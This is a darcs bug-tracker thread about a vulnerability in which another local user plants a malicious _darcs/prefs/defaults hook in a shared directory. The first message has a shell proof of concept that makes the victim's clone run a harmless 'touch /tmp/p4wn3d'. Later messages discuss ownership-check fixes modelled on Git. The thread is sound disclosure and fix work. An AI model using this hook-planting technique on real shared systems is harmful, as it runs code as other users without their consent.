|
Created on 2022-04-13.07:14:10 by gpiero, last changed 2023-07-08.11:35:09 by ganesh.
msg22979 (view) |
Author: gpiero |
Date: 2022-04-13.07:14:09 |
|
darcs is (at least partially) vulnerable to this.
$ darcs --version
2.17.1 (+ 148 patches)
$ sudo useradd h4ck3r
$ whoami
gpiero
$ mkdir -m 777 shared
$ darcs ini shared/R
WARNING: creating a nested repository.
Finished initializing repository.
$ sudo -u h4ck3r mkdir -p shared/_darcs/prefs
$ echo 'clone prehook touch /tmp/p4wn3d' | sudo -u h4ck3r tee shared/_darcs/prefs/defaults
clone prehook touch /tmp/p4wn3d
$ cd shared
shared $ ls /tmp/p4wn3d
ls: cannot access '/tmp/p4wn3d': No such file or directory
shared $ darcs clone R S
Prehook ran successfully.
WARNING: creating a nested repository.
Copying patches, to get lazy repository hit ctrl-C...
Finished cloning.
shared $ ls /tmp/p4wn3d
/tmp/p4wn3d
The prehook is (rightly) executed even if the command doesn't succeed.
shared $ darcs clone R not-existent/S
Prehook ran successfully. <---
darcs: not-existent/S: createDirectory: does not exist (No such file or directory)
Anyway, at least in the case of `clone`, the attack only succeeds if the
_darcs directory resides in the cwd.
shared $ cd ..
$ darcs clone shared/R shared/S
Directory or file named 'shared/S' already exists.
(no prehook run now).
Haven't investigated further combinations or commands (e.g. does `show
repo` read the defaults file?)
|
msg22980 (view) |
Author: gpiero |
Date: 2022-04-13.07:26:15 |
|
* [Wed, Apr 13, 2022 at 07:14:10AM +0000] Gian Piero Carrubba:
>(e.g. does `show repo` read the defaults file?)
Guess so:
$ darcs help show repo | grep -c hook
8
|
msg22988 (view) |
Author: bfrk |
Date: 2022-04-13.22:20:50 |
|
Yes, every command reads the defaults file and can have hooks
attached. How to fix this?
From https://github.blog/2022-04-12-git-security-vulnerability-
announced/ :
"Git v2.35.2 [...] changes Git’s behavior when looking for a top-
level .git directory to stop when its directory traversal changes
ownership from the current user."
I guess we could do the same in darcs. Volunteers?
|
msg23496 (view) |
Author: j14i |
Date: 2023-07-08.09:22:00 |
|
I agree, we can simplify this behavior to not recognize repositories owned by other users. As it is done I Git "v2.36.0".
src: https://github.com/git/git/blob/master/Documentation/RelNotes/2.36.0.txt
"
With the fixes for CVE-2022-24765 that are common with versions of
Git 2.30.4, 2.31.3, 2.32.2, 2.33.3, 2.34.3, and 2.35.3, Git has
been taught not to recognise repositories owned by other users, in
order to avoid getting affected by their config files and hooks.
...
"
But I am not a Windows user and I can overlook some important scenario.
If this kind of solution looks okay to you, I can implement it as well.
|
msg23497 (view) |
Author: gpiero |
Date: 2023-07-08.10:14:37 |
|
* [Sat, Jul 08, 2023 at 09:22:00AM +0000] Jonatan Borkowski:
>I agree, we can simplify this behavior to not recognize repositories
>owned by other users. As it is done I Git "v2.36.0".
Problem is that this would break common scenarios where a repository is
shared between developers. I think this is also how the repository of
darcs itself is (or, at least, was) managed.
Git introduced a configuration option (safe.directories, or something
similar) for listing repositories that are not subject to that
limitation. That would solve the problem with shared repositories, but
obviously would also add complexity to the solution.
I for myself am a bit inclined towards thinking that operations like
clone (in general, operations that create a new repo) should not read
the defaults file and marking the remaining cases as "work as intended".
Best,
Gian Piero.
|
msg23498 (view) |
Author: gpiero |
Date: 2023-07-08.10:30:32 |
|
* [Sat, Jul 08, 2023 at 12:14:28PM +0200] Gian Piero Carrubba:
> should not read the defaults file
More appropriately: should not execute hooks. As for reading the
defaults file itself (w/o hooks), maybe there are legitimate cases that
require it.
Moreover, when mentioning the defaults file, I'm referring to
"_darcs/prefs/defaults". "$HOME/.darcs/defaults" should always be read
and its hooks executed (for increased security, it should be checked
that it's owned and only writeable by the user).
|
msg23499 (view) |
Author: ganesh |
Date: 2023-07-08.11:35:09 |
|
> Problem is that this would break common scenarios where a repository is
> shared between developers. I think this is also how the repository of
> darcs itself is (or, at least, was) managed.
I think we switched back to a single shared user because there were too many
cases where the permissions got messed up.
> should not read the defaults file
> More appropriately: should not execute hooks. As for reading the
> defaults file itself (w/o hooks), maybe there are legitimate cases that
> require it.
I've seen three options so far for when an _darcs has the wrong ownership
(assuming the user doesn't explicitly override somehow):
- Ignore the _darcs directory completely
- Ignore _darcs/prefs/defaults
- Restrict certain actions
Restricting actions would require passing around adding some property to
the runtime representation of repositories, and then figuring out all
the right places to respect it. So I'd be more inclined towards one of the
first two.
|
|
Date |
User |
Action |
Args |
2022-04-13 07:14:10 | gpiero | create | |
2022-04-13 07:26:15 | gpiero | set | messages:
+ msg22980 |
2022-04-13 22:20:50 | bfrk | set | messages:
+ msg22988 |
2023-07-08 09:22:00 | j14i | set | messages:
+ msg23496 |
2023-07-08 10:14:37 | gpiero | set | messages:
+ msg23497 |
2023-07-08 10:30:32 | gpiero | set | messages:
+ msg23498 |
2023-07-08 11:35:09 | ganesh | set | messages:
+ msg23499 |
|